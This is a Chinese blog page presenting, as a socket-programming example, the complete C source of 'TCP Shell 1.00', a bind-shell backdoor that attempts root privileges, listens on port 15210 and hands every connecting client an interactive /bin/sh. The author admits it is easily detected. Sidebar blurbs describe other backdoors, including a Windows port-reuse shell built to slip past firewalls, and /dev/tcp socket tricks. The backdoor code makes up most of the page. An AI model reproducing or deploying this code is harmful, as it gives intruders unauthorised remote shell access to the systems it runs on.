socket编程例子:TCP Shell后门

Python渗透测试编程基础——Socket网络编程 Socket通信是基于客户端/服务器结构(C/S),可隐藏复杂的TCP/IP协议族,只要遵循Socket的规定就可以进行网络程序开发,简单且开发效率高。Python中的socket模块,提供了套接字编程的大部分功能。支持使用UDP和TCP协议进行网络通信。UDP属于无连接协议,在向接收方发送信息时不需要建立连接,而是直接发送即可。Socket又称"套接字",是计算机间进行网络通信的一套程序接口。UDP的应用:域名系统;socket模块方法如图所示。一、socket编程简介。UDP编程流程及常用的。 阅读详情

                                               socket编程例子:TCP Shell后门  

                                 很简单很容易被发现,且当作socket编程例子学习吧。

/*=============================================================================
   TCP Shell Version 1.00
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (unewn4th@usa.net)
  =============================================================================
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define MAX_CLIENTS     5           /* Max client num    */
#define PORT_NUM        15210       /* Port              */

void    get_connection(socket_type, port, listener)
int     socket_type;
int     port;
int     *listener;
{
        struct sockaddr_in      address;
        struct sockaddr_in      acc;
        int                     listening_socket;
        int                     connected_socket = -1;
        int                     new_process;
        int                     reuse_addr = 1;
        int                     acclen=sizeof(acc);

        memset((char *) &address, 0, sizeof(address));
        address.sin_family = AF_INET;
        address.sin_port = htons(port);
        address.sin_addr.s_addr = htonl(INADDR_ANY);
        listening_socket = socket(AF_INET, socket_type, 0);
        if (listening_socket < 0) {
          perror("socket");
          exit(1);
        }
        if (listener != NULL) *listener = listening_socket;
        setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
                   (void *)&reuse_addr,sizeof(reuse_addr));
        if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0
){
          perror("bind");
          close(listening_socket);
          exit(1);
        }
        if (socket_type == SOCK_STREAM){
          if (listen(listening_socket, MAX_CLIENTS)==-1){
            perror("listen");
            exit(1);
         }
        }
}
void    sock_puts(sockfd, str)
int     sockfd;
char    *str;
{
        char    x[2000],*buf;
        size_t  bytes_sent = 0;
        int     this_write,count;

        sprintf(x,"/r%s",str);
        count=strlen(x);
        buf=x;
        while (bytes_sent < count) {
                do
                        this_write = write(sockfd, buf, count - bytes_sent);
                while ( (this_write < 0) && (errno == EINTR) );
                if (this_write <= 0) return;
                bytes_sent += this_write;
                buf += this_write;
        }
}
int     main(argc, argv)
int     argc;
char    *argv[];
{
        void            get_connection();
        void            sock_puts();
        int             i,sz;
        int             sock;
        static int      listensock = -1;
        struct sockaddr_in sad;

        setuid(0);
        setgid(0);

        for (;;){
          get_connection(SOCK_STREAM, PORT_NUM, &listensock);
          sz=sizeof(struct sockaddr_in);
          for (;;){
            if ((sock=accept(listensock,(void *)&sad,&sz))==-1){
                perror("Accept");
                exit(1);
            }
            if (fork()==0){
                sock_puts(sock,"The ShadowPenguin Systems Inc. TCP Shell 1.00 De
veloped by 

UNYUN./n");
                for (i=0;i<3;i++){
                    close(i); dup2(sock,i);
                }
                execl("/bin/sh","sh","-i",0);
                close(sock);     
                break;
            }
          }
        }
}

利用socket编程实现的网络版shell命令解释器 利用socket编程实现的网络版shell命令解释器 内含两个代码包:分别用不同思路实现的 立即下载

相关推荐

linux 下的shell socket实现聊天室

管道实现socket,资源资源包含服务器端和客服端。

网络基础学习系列二(socket编程)

socket编程

sakeww的博客 1010

Linux socket编程实例:echo服务器程序

Linux socket编程实例:echo服务器程序

shell建立socket连接

建立socket的两种方式 udp:/dev/udp/host/port tcp:/dev/tcp/host/port 直接重定向当前shell的一个文件描述符到对应的ip/端口: exec 8<>/dev/udp/10.0.2.15/12345 就相当于建立一个UDP socket。 发送报文: echo “” >&8 使用tcpdump抓包: 00:48:18.291...

任我行的博客 6092

端口复用版winshell编写的后门程序源代码

Wxhshell 最近的练手作品,主要练习C的socket编程, 本后门以服务方式运行,采用端口复用技术, 一般来说除了采用独占模式开的端口,都可复用. 在2000/xp+vc 8.0下测试通过 经测试,可复用21,80端口没有问题. 只是练习作品,附上源代码,大家可以随意修改 使用说明: //----------------------------------------------------------------------------------------- --// // WxhShell V1.0 // //----------------------------------------------------------------------------------------- -// 作者:虚幻灵者 组织:火狐网络安全技术联盟 参考:Winshell wxhshell v1.0是根据winshell编写的。winshell是一个非常不错的后门程序,但是现在已经 有些过时了,于是写了一个新的wxhshell,在这款后门里采用了端口复用技术,因此可 以突破一些防火墙。其运行不影响正常端口的工作。 注意:本后门对于采用了独占方式的端口无法绑定,经测试XP系统端口135,445,1025,1028, 1045无法绑定,其他端口基本上都可以。由于当前的防火墙对系统端口屏蔽比较严,因此这 应该算不上缺陷。 用UPX压缩后还不到35k,比winshell还小。可以说在后门里算是非常小的了。 密码:xuhuanlingzhe 服务名:Wxhshell 服务显示名:Wxhshell Service 服务描述信息:Wrsky Windows CmdShell Service 注册表键名:Wxhshell 默认端口:5000 最大连接数:100

SONiC (6) - SONiC 源码框架分析

https://github.com/sonic-net/sonic-utilitieshttps://github.com/sonic-net/sonic-snmpagenthttps://github.com/sonic-net/sonic-linux-kernelhttps://github.com/sonic-net/sonic-platform-commonhttps://github.com/sonic-net/sonic-platform-daemons以下是在 SONiC 中运行的容器列表:

qq_49477505的博客 1329

生命在于学习——Socket编程(偏安全方面)

Socket编程的记录,偏安全方面。

易水哲的博客 1514

Logisim 原码一位乘法器设计 图解及代码(计算机组成原理)

Logisim 原码一位乘法器设计 图解及代码(计算机组成原理) 包对

醉蕤的博客 4375

Linux Shell脚本编程--nc命令使用详解

linux nc命令使用详解     功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g网关...>][-G指向器数目>][-i延迟秒数>][-o输出文件>][-p通信端口>][-s来源位址>][-v...][-w超时秒数>][主机名称][通信端口...] 参 数:  -g网关>  设置路由器跃程通信网关,最丢哦可设置8个。  -G指向器数目>  设置来源路由指

上善若水,水善利万物而不争。 3万+

Rasa Core开发指南

文章目录1. Rasa Core简介1.1 Rasa Core消息处理流程1.2 安装Rasa Core2. Dialogue模型训练2.1 Story样本数据2.2 Domain2.2.0 intents2.2.1 actions2.2.2 templates2.2.3 entities2.2.4 slots3 .训练和使用对话模型3.1 训练对话模型3.2 使用对话模型4. 搭建CustomA...

老蒋也疯狂 1万+

STM32F407 HAL库 LIN DMA 配置实战与汽车电子应用解析

本文详细解析了STM32F407 HAL库在LIN总线通信中的DMA配置实战,重点介绍了硬件自动处理断点检测、同步场和校验和的优势。通过具体代码示例和汽车电子应用案例(如车窗控制、座椅调节),阐述了如何利用DMA提升通信效率与稳定性,为成本敏感的汽车电子系统提供高效解决方案。

study的专栏 968

操作系统大作业---信号量+shell脚本+socket

分析过程:分析中涉及到一个问题1210运行结果当生产一个车轮和车架所用时间一样,都为1s时,可以看出车轮明显不够用,车架过载因此把车轮和车架生产时间改为1:2,就会出现车轮和车架趋于平稳,不会造成挤压。2、编写一个用于检查关于命令“lspxct"的实验报告的Shell脚本,该脚本检查命令的执行结果中是否存在包含“px”和“ct”的文件或目录,显示包含“px”的文件或目录数,包含“ct”的文件或目录数。如果两者的文件或目录数均大于0,则对该实验项目给予100分。

ZZU_LGY 1626

城市规划师必备:ArcMap里用这个免费工具,5步完成建筑群通风廊道分析

本文介绍了城市规划中利用ArcMap进行建筑群通风廊道分析的高效方法,重点讲解了迎风面投影指数(FAI)的应用。通过5个步骤,从数据准备到规划应用,帮助规划师快速评估城市通风潜力,优化建筑布局,提升城市风环境质量。

weixin_26800111的博客 412

一篇文章快速上手python socket编程,还能自己写后门

socket 网络编程 之前在编写四层发现的代码时都是使用TCP/UDP协议, 但是看了很多的代码都是用socket来完成的,所以就 来学习一下socket 什么是socket 网络中的两台主机之间进行通信,本质上是主机中所 运行的进程之间的通信,两个进程如果需要进行通信 ,最基本的前提是每一个进程要有一个唯一的标识。 在本地进程通信中可以使用PID来唯一标识一个程,...

weixin_44344395的博客 658

计算机网络实验六 RIP 配置实验

Man! What can I say?

AClerk的博客 1592

Unity接入Google登录:Credential Manager完整集成指南与避坑实践

在移动应用开发中,第三方登录是提升用户体验和降低注册门槛的关键技术。其核心原理是通过OAuth 2.0等授权协议,安全地获取用户在平台的身份凭证。对于面向海外市场的Unity应用,Google登录因其庞大的用户基数成为首选方案。然而,随着Android系统更新和隐私政策收紧,传统的WebView登录方式面临兼容性挑战。Credential Manager作为Google推出的现代化凭据管理API,通过系统级集成解决了这一问题,它统一了密码、通行密钥和第三方登录的调用接口,显著提升了登录成功率和原生体验。在U

weixin_28025327的博客 318

Socket编程例子 - TCP Shell.c

/*============================================================================= TCP Shell Version 1.00 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (unewn4th@usa

无知的瞳仁 - 临时存储空间 947

Linux存储软件栈剖析之第5篇:F2FS文件系统

F2FS是三星专为NAND闪存设计的开源文件系统,通过异地更新、磨损均衡等机制优化闪存特性。其架构采用层次化存储管理(Block→Segment→Section→Zone)和多日志区域设计,基于数据热度分类(热/温/冷数据)提升性能。核心创新包括节点地址表(NAT)解决级联更新问题,以及基于成本的垃圾回收算法。F2FS通过检查点机制确保崩溃一致性,并利用并行访问能力充分发挥闪存性能优势,显著降低写放大效应,延长设备寿命。

指尖动听知识库 198

TCP & UDP 协议 + Python Socket 编程 全面总结

本文介绍了TCP和UDP协议的区别,并通过Python代码演示了TCP服务器与客户端的通信实现。TCP是流式协议,数据传输无边界;UDP则是数据报协议,每条消息独立。服务器端创建socket,设置缓冲区大小和超时,监听连接请求;客户端连接成功后进行数据收发。代码详细说明了socket参数配置、地址绑定、连接管理、异常处理等关键环节,并提供了缓冲区设置、超时控制、文件描述符操作等高级功能的实现方法。

不是立达刘宁宇 1172

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

【Shell】通过shell脚本调用tcp/udp socket

bashshell的内置功能之一是通过/dev/tcp和/dev/udp设备文件打开TCP / UDP套接字。 以下介绍如何在shell中使用tcp/udp socket 在Bash Shell中打开或关闭TCP / UDP套接字 语法: $ exec {file-descriptor} </ dev / {protocol} / {host} / {port} fi...

R_W_zhang的博客 5481

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

Linux系统shell查看SOCKET情况和socket编程概述

Linux系统中,查看SOCKET使用情况可以使用ss命令。 1、命令格式: ss [参数] ss [参数] [过滤] 2、命令功能: ss(Socket Statistics的缩写)命令可以用来获取 socket统计信息,此命令输出的结果类似于 netstat输出的内容,但它能显示更多更详细的 TCP连接状态的信息,且比 netstat 更快速高效。它使用了 TCP协议栈中 tcp_diag(是...

$好记性还是要多记录$ 4389

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

Perl语言的Socket编程

Socket是一种网络通信的端点,它为程序提供了在网络中进行数据传输的接口。Socket是网络中两台计算机进行通信的基本工具。通过Socket,程序能够建立、发送和接收数据,实现与其他网络服务的交互。

2501_91195884的博客 389

Socket的TCP、UDP连接学习以及实现远程shell反弹

Socket 学习的视频:https://www.bilibili.com/video/BV1UJ411M7tx?p=2 TCP连接:可靠的、收发数据前 需要建立连接,三次握手。 UDP:不可靠的,不需要建立连接 创建套接字 socket.socket(family[,type[,port]) family 可使用AF_UNIX 或者AF_INET AF_INET 使用IPV4 协议 AF_INET6 使用ipv6协议 type 类型,可以是面向连接还是非连接的 . SOCK_STREAM

weujie 769

如何基于Python写一个TCP反向连接后门

0x0 介绍 在Linux系统做未授权测试,我们须准备一个安全的渗透环境,通常第一件事就是安装虚拟机。且在攻击阶段中还需要对受害系统进行控制。常见的后门大多数是利用Metasploit生成,而目前反病毒产品遇到Metasploit文件签名的程序就会添加特征库作为查杀对象,所以开发出自己的后门程序非常必要。 这篇文章将介绍如何写一个具有反向连接功能的后门。 反向连接:通常的网络连接程序是由客户端通过服务器开放的...

qq_43743562的博客 3655
上一篇: ARP & ICMP欺骗
下一篇: FreeBSD忘记root密码的一次修复
bmsdr
博客等级 码龄22年 11粉丝 65原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值